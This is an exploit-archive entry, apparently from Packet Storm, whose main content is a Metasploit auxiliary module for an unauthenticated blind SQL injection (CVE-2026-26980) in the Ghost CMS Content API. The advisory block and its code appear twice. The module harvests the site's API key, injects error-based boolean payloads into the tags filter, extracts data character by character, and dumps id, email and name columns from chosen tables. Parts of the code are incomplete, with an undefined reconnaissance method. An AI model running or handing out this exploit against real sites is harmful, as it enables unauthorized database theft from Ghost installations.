9.4
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Description
This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API that affects versions 3.24.0 through 6.19.0...
Basic Information
ID
PACKETSTORM:219677
Published
Apr 23, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Ghost CMS 6.19.0 Unauthenticated Content API Blind SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://ghost.org/ |
==================================================================================================================================
[+] Summary : This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API (versions 3.24.0 to 6.19.0).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ghost CMS Unauthenticated SQL Injection via Content API',
'Description' => %q{
Ghost CMS versions 3.24.0 through 6.19.0 contain an unauthenticated SQL injection
vulnerability in the Content API.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-26980']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-30'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for Ghost installation', '/']),
OptString.new('API_KEY', [false, 'Ghost Content API Key', '']),
OptString.new('API_PATH', [false, 'Content API path', '']),
OptEnum.new('DBMS', [true, 'Database engine', 'sqlite', ['sqlite', 'mysql']]),
OptString.new('TABLE', [false, 'Specific table', '']),
OptString.new('COLUMNS', [false, 'Columns', '']),
OptInt.new('THREADS', [true, 'Threads', 15]),
OptInt.new('TIMEOUT', [true, 'Timeout', 10])
])
end
def setup
@base_uri = normalize_uri(target_uri.path)
@api_key = datastore['API_KEY']
@api_path = datastore['API_PATH']
@dbms = datastore['DBMS']
@threads = datastore['THREADS']
@timeout = datastore['TIMEOUT']
@table_to_dump = datastore['TABLE']
@columns = datastore['COLUMNS']&.split(',')&.map(&:strip)
@charset = "$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=".chars
@error_indicator = "InternalServerError"
@api_endpoint = nil
@tag_slug = nil
@tag_id = nil
@url_template = nil
end
def run_host(ip)
print_status("Ghost SQLi CVE-2026-26980")
print_status("Target: #{peer}")
unless discover_api_endpoint
print_error("Discovery failed")
return
end
unless verify_oracle
print_error("Oracle failed")
return
end
if @table_to_dump && !@table_to_dump.empty?
dump_table(@table_to_dump)
else
perform_reconnaissance
end
end
def discover_api_endpoint
res = send_request_cgi({
'uri' => normalize_uri(@base_uri),
'method' => 'GET'
})
return false unless res && res.code == 200
if res.body =~ /data-key="([a-f0-9]+)"/
@api_key = Regexp.last_match(1)
else
return false
end
if res.body =~ /data-api="([^"]+)"/
api_raw = Regexp.last_match(1)
path = URI.parse(api_raw).path
@api_endpoint = normalize_uri(@base_uri, path)
@api_endpoint = "#{@api_endpoint}/"
else
return false
end
discover_tag_from_api
end
def discover_tag_from_api
res = send_request_cgi({
'uri' => normalize_uri(@api_endpoint, 'tags/'),
'method' => 'GET',
'vars_get' => { 'key' => @api_key }
})
return false unless res && res.code == 200
json = JSON.parse(res.body)
return false unless json['tags'] && json['tags'][0]
@tag_slug = json['tags'][0]['slug']
@tag_id = json['tags'][0]['id']
slug = Rex::Text.uri_encode(@tag_slug.to_s)
@url_template = "#{@api_endpoint}tags/?key=#{@api_key}&filter=slug:['*',#{slug}]&limit=all"
true
rescue
false
end
def verify_oracle
check_condition("1=1") && !check_condition("1=2")
end
def check_condition(condition)
if @dbms == "mysql"
error_payload = "(SELECT exp(710))"
else
error_payload = "(SELECT abs(-9223372036854775808))"
end
payload = " OR CASE WHEN (#{condition}) THEN #{error_payload} ELSE 0 END AND slug="
url = @url_template.gsub("*", payload, 1)
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'timeout' => @timeout
})
return false unless res && res.body
res.body =~ /badrequesterror/i || res.body =~ /#{@error_indicator}/i
rescue
false
end
def get_query_length(query)
length = 0
[64, 32, 16, 8, 4, 2, 1].each do |bit|
if check_condition("LENGTH((#{query}))>=#{length + bit}")
length += bit
end
end
length
end
def get_query_char(query, position)
low = 0
high = @charset.length - 1
while low < high
mid = (low + high) / 2
char_code = @charset[mid].ord
condition = "ASCII(SUBSTR((#{query}),#{position},1))>=#{char_code}"
if check_condition(condition)
low = mid + 1
else
high = mid
end
end
@charset[low]
end
def extract_data(query, label, force_length = nil)
length = force_length || get_query_length(query)
return "" if length.nil? || length.to_i <= 0
result = []
(1..length).each do |pos|
result << get_query_char(query, pos)
end
result.join
end
def dump_table(table_name)
print_status("Dumping: #{table_name}")
count = get_query_length("SELECT COUNT(*) FROM #{table_name}")
return if count <= 0
(0...count).each do |i|
row = {}
['id', 'email', 'name'].each do |col|
row[col] = extract_data("SELECT #{col} FROM #{table_name} LIMIT 1 OFFSET #{i}", col)
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Ghost CMS 6.19.0 Unauthenticated Content API Blind SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://ghost.org/ |
==================================================================================================================================
[+] Summary : This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API (versions 3.24.0 to 6.19.0).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ghost CMS Unauthenticated SQL Injection via Content API',
'Description' => %q{
Ghost CMS versions 3.24.0 through 6.19.0 contain an unauthenticated SQL injection
vulnerability in the Content API.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-26980']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-30'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path for Ghost installation', '/']),
OptString.new('API_KEY', [false, 'Ghost Content API Key', '']),
OptString.new('API_PATH', [false, 'Content API path', '']),
OptEnum.new('DBMS', [true, 'Database engine', 'sqlite', ['sqlite', 'mysql']]),
OptString.new('TABLE', [false, 'Specific table', '']),
OptString.new('COLUMNS', [false, 'Columns', '']),
OptInt.new('THREADS', [true, 'Threads', 15]),
OptInt.new('TIMEOUT', [true, 'Timeout', 10])
])
end
def setup
@base_uri = normalize_uri(target_uri.path)
@api_key = datastore['API_KEY']
@api_path = datastore['API_PATH']
@dbms = datastore['DBMS']
@threads = datastore['THREADS']
@timeout = datastore['TIMEOUT']
@table_to_dump = datastore['TABLE']
@columns = datastore['COLUMNS']&.split(',')&.map(&:strip)
@charset = "$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=".chars
@error_indicator = "InternalServerError"
@api_endpoint = nil
@tag_slug = nil
@tag_id = nil
@url_template = nil
end
def run_host(ip)
print_status("Ghost SQLi CVE-2026-26980")
print_status("Target: #{peer}")
unless discover_api_endpoint
print_error("Discovery failed")
return
end
unless verify_oracle
print_error("Oracle failed")
return
end
if @table_to_dump && !@table_to_dump.empty?
dump_table(@table_to_dump)
else
perform_reconnaissance
end
end
def discover_api_endpoint
res = send_request_cgi({
'uri' => normalize_uri(@base_uri),
'method' => 'GET'
})
return false unless res && res.code == 200
if res.body =~ /data-key="([a-f0-9]+)"/
@api_key = Regexp.last_match(1)
else
return false
end
if res.body =~ /data-api="([^"]+)"/
api_raw = Regexp.last_match(1)
path = URI.parse(api_raw).path
@api_endpoint = normalize_uri(@base_uri, path)
@api_endpoint = "#{@api_endpoint}/"
else
return false
end
discover_tag_from_api
end
def discover_tag_from_api
res = send_request_cgi({
'uri' => normalize_uri(@api_endpoint, 'tags/'),
'method' => 'GET',
'vars_get' => { 'key' => @api_key }
})
return false unless res && res.code == 200
json = JSON.parse(res.body)
return false unless json['tags'] && json['tags'][0]
@tag_slug = json['tags'][0]['slug']
@tag_id = json['tags'][0]['id']
slug = Rex::Text.uri_encode(@tag_slug.to_s)
@url_template = "#{@api_endpoint}tags/?key=#{@api_key}&filter=slug:['*',#{slug}]&limit=all"
true
rescue
false
end
def verify_oracle
check_condition("1=1") && !check_condition("1=2")
end
def check_condition(condition)
if @dbms == "mysql"
error_payload = "(SELECT exp(710))"
else
error_payload = "(SELECT abs(-9223372036854775808))"
end
payload = " OR CASE WHEN (#{condition}) THEN #{error_payload} ELSE 0 END AND slug="
url = @url_template.gsub("*", payload, 1)
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'timeout' => @timeout
})
return false unless res && res.body
res.body =~ /badrequesterror/i || res.body =~ /#{@error_indicator}/i
rescue
false
end
def get_query_length(query)
length = 0
[64, 32, 16, 8, 4, 2, 1].each do |bit|
if check_condition("LENGTH((#{query}))>=#{length + bit}")
length += bit
end
end
length
end
def get_query_char(query, position)
low = 0
high = @charset.length - 1
while low < high
mid = (low + high) / 2
char_code = @charset[mid].ord
condition = "ASCII(SUBSTR((#{query}),#{position},1))>=#{char_code}"
if check_condition(condition)
low = mid + 1
else
high = mid
end
end
@charset[low]
end
def extract_data(query, label, force_length = nil)
length = force_length || get_query_length(query)
return "" if length.nil? || length.to_i <= 0
result = []
(1..length).each do |pos|
result << get_query_char(query, pos)
end
result.join
end
def dump_table(table_name)
print_status("Dumping: #{table_name}")
count = get_query_length("SELECT COUNT(*) FROM #{table_name}")
return if count <= 0
(0...count).each do |i|
row = {}
['id', 'email', 'name'].each do |col|
row[col] = extract_data("SELECT #{col} FROM #{table_name} LIMIT 1 OFFSET #{i}", col)
end
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================